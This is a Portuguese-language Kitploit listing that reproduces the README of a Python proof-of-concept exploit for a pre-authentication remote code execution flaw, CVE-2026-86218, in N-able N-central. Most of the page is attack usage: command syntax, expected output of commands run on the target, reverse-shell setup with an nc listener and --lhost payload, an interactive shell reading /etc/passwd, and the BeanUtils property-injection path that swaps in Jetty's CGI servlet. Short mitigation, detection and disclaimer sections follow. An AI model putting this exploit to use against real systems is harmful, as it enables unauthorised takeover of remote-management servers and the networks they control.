Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-86218 — Prova de conceito em Python 3 para o CVE-2026-86218, um RCE pré-autenticação no N-able N-central através de uma condição de corrida multipart do Struts, com execução de comandos e suporte a reverse shell. | Kitploit
Ferramentas/GitHubGitHub/super-meuw/cve-2026-86218
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoRed TeamingFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

Prova de conceito em Python 3 para o CVE-2026-86218, um RCE pré-autenticação no N-able N-central através de uma condição de corrida multipart do Struts, com execução de comandos e suporte a reverse shell.

há 22h 59mAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-86218 - Exploit de RCE Pré-Autenticação no N-able N-central

Visão Geral

Este é um exploit proof-of-concept em Python 3 para CVE-2026-86218, uma vulnerabilidade crítica de execução remota de código pré-autenticação no N-able N-central.

Detalhes da Vulnerabilidade:

  • CVE: CVE-2026-86218
  • Pontuação CVSS: 10.0 (Crítica)
  • CWE: CWE-96 (Injeção de Código Estático)
  • Versões Afetadas: N-central < 2026.3.1.14
  • Vetor de Ataque: Rede (Não Autenticado)

Descrição da Vulnerabilidade

O N-able N-central utiliza um formulário Struts com escopo de sessão em uma ação não autenticada (/remoteControlAction.do). Duas requisições multipart concorrentes podem causar uma condição de corrida no manipulador multipart do formulário e expor a configuração ativa do Jetty à população de propriedades do Commons BeanUtils. Isso permite que um atacante:

  1. Substitua um detentor de servlet lazy do N-central (por exemplo, LogRetrieval) pelo servlet CGI incluído no Jetty
  2. Configure o servlet CGI para executar comandos arbitrários via /bin/sh -s
  3. Envie comandos através do mapeamento de URL do servlet substituído

Requisitos

root@kitploit:~
pip install requests

Uso

Sintaxe Básica

root@kitploit:~
python3 CVE-2026-86218.py -t <target_url> [options]

Opções

OpçãoDescrição
-t, --targetURL do N-central alvo (ex.: https://192.168.1.100)
-c, --commandComando único a executar
-i, --interactiveModo de comando interativo
--lhostIP do listener para reverse shell
--lportPorta do listener (padrão: 4444)
--servletServlet a substituir: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--checkVerificar se o alvo é vulnerável
--no-verify-sslDesabilitar a verificação de certificado SSL
--timeoutTimeout da requisição (padrão: 30s)
--race-delayAtraso da condição de corrida (padrão: 0.35s)
-v, --verboseHabilitar saída detalhada

Exemplos

1. Verificar se o Alvo é Vulnerável

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

Saída Esperada:

root@kitploit:~
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. Executar Comando Único

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

Saída Esperada:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. Reverse Shell

Inicie o listener primeiro:

root@kitploit:~
nc -lvnp 4444

Execute o exploit:

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

Saída Esperada:

root@kitploit:~
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

Saída do listener:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. Modo Interativo

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

Sessão Interativa:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. Usando um Servlet Diferente

root@kitploit:~
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

Opções de Servlet

ServletDescriçãoImpacto
LogRetrievalEndpoint de recuperação de logs (padrão)Menos disruptivo, logs indisponíveis até reiniciar
FileTransferEndpoint de transferência de arquivosInterrompe a funcionalidade de transferência de arquivos
AutomationManagerDownloadServletDownload do gerenciador de automaçãoRequer porta da interface de gerenciamento (8443)

Como Funciona

Fluxo de Exploração

  1. Verificação de Versão: Consulta /remoteControlAction.do para extrair a versão da página de erro
  2. Aquisição de Sessão: Obtém um JSESSIONID não autenticado
  3. Condição de Corrida:
    • Envia uma requisição multipart lenta que pausa durante o parsing
    • Enquanto pausada, envia uma requisição auxiliar para instalar o manipulador no formulário compartilhado
    • Retoma a requisição lenta com campos de injeção de propriedades do BeanUtils
  4. Substituição de Servlet: Substitui o LogRetrieval pelo servlet CGI do Jetty
  5. Execução de Comando: Envia comandos através do endpoint CGI

Detalhes Técnicos

A vulnerabilidade explora uma condição de corrida no tratamento de formulários multipart do Struts:

  • O Struts armazena um objeto de formulário por sessão HTTP
  • No início de uma requisição multipart, o Struts remove o manipulador multipart do formulário
  • Uma requisição lenta pausa enquanto o Struts ainda está lendo o corpo
  • Uma requisição auxiliar termina e instala seu manipulador inicializado
  • Quando a requisição lenta continua, o BeanUtils segue nomes de campos elaborados através do manipulador
  • Esses campos navegam até o WebAppContext do Jetty e substituem o detentor do servlet

Os campos de mutação usam caminhos de propriedades JavaBean:

root@kitploit:~
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

Isso percorre: manipulador multipart → contexto do servlet → classloader → WebAppContext → manipulador de servlet → detentor específico

Mitigação

  1. Aplicar patch imediatamente: Atualize para N-central 2026.3.1.14 ou posterior
  2. Restringir acesso: Limite o acesso de entrada ao console do N-central
  3. Segmentação de rede: Coloque o N-central atrás de VPN ou lista de permissões de IP
  4. Monitorar logs: Verifique atividades suspeitas de API e criação de usuários

Detecção

Indicadores em Logs

  • Requisições incomuns para /remoteControlAction.do
  • Requisições multipart com nomes de campos incomuns
  • Atividade relacionada a CGI em endpoints LogRetrieval
  • Criação inesperada de contas de usuário

Indicadores de Rede

  • Múltiplas requisições rápidas para o mesmo endpoint
  • Payloads multipart grandes
  • Conexões de IPs de origem incomuns

Referências

  • N-able Security Advisory
  • N-able Hotfix 4 Release Notes
  • Rapid7 Metasploit Module
  • Huntress Blog Post
  • CISA KEV Catalog

Aviso Legal

Este exploit é fornecido apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado deste exploit contra sistemas que você não possui ou não tem permissão para testar é ilegal e antiético.

Sempre obtenha autorização adequada antes de realizar atividades de teste de penetração.

Créditos

  • Descoberta da vulnerabilidade: N-able Security Team
  • Módulo Metasploit: sfewer-r7 (Rapid7)
  • Desenvolvimento do exploit: Baseado em pesquisa da Rapid7 e avisos públicos
Baixar ferramenta